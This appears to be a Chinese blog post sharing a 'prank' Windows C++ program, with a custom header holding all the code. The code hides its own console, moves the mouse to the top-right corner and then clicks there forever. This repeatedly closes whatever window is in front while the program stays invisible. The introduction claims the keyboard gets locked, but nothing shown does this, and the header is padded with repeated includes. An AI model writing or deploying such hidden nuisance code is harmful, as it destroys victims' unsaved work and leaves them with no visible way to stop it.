坑人方式:锁定键盘后将鼠标移到左上角,然后鼠标缓缓向右移,直到移到右上角,移到到了后疯狂按鼠标左键
代码上:
#include<lzcwindows.h>
using namespace std;
int main(){
SCsPWindow();
return 0;
}
这个lzcwindows.h
头文件在下面:
#ifndef _LZCWINDOWS_
#define _LZCWINDOWS_
#include<windows.h>
#include<assert.h>
#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<stdint.h>
#include<tgmath.h>
#include<assert.h>
#include<ctype.h>
#include<errno.h>
#include<float.h>
#include<fstream>
#include<iomanip>
#include<iostream>
#include<limits.h>
#include<locale.h>
#include<math.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>
#include<wchar.h>
#include<wctype.h>
#include<algorithm>
#include<bitset>
#include<cctype>
#include<cerrno>
#include<clocale>
#include<cmath>
#include<complex>
#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<ctime>
#include<deque>
#include<exception>
#include<fstream>
#include<functional>
#include<limits>
#include<list>
#include<map>
#include<iomanip>
#include<ios>
#include<iosfwd>
#include<iostream>
#include<istream>
#include<ostream>
#include<queue>
#include<set>
#include<sstream>
#include<stack>
#include<stdexcept>
#include<streambuf>
#include<string>
#include<utility>
#include<vector>
#include<cwchar>
#include<cwctype>
#include<complex.h>
#include<fenv.h>
#include<inttypes.h>
#include<stdbool.h>
#include<conio.h>
#include<bits/stdc++.h>
#include <winable.h>
void MouseLeftDown()
{
INPUT Input={0};
Input.type=INPUT_MOUSE;
Input.mi.dwFlags=MOUSEEVENTF_LEFTDOWN;
SendInput(1,&Input,sizeof(INPUT));
}
void MouseLeftUp()
{
INPUT Input={0};
Input.type=INPUT_MOUSE;
Input.mi.dwFlags=MOUSEEVENTF_LEFTUP;
SendInput(1,&Input,sizeof(INPUT));
}
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
void SCsPWindow()
{
HideWindow();
FreeConsole();
int x=GetSystemMetrics(SM_CXSCREEN);
for(int i=1;i<=x;i++)
{
SetCursorPos(i,1);
Sleep(1);
}
while(1)
{
SetCursorPos(x,1);
MouseLeftDown();
MouseLeftUp();
}
return ;
}
#endif
部分有转载,请谅解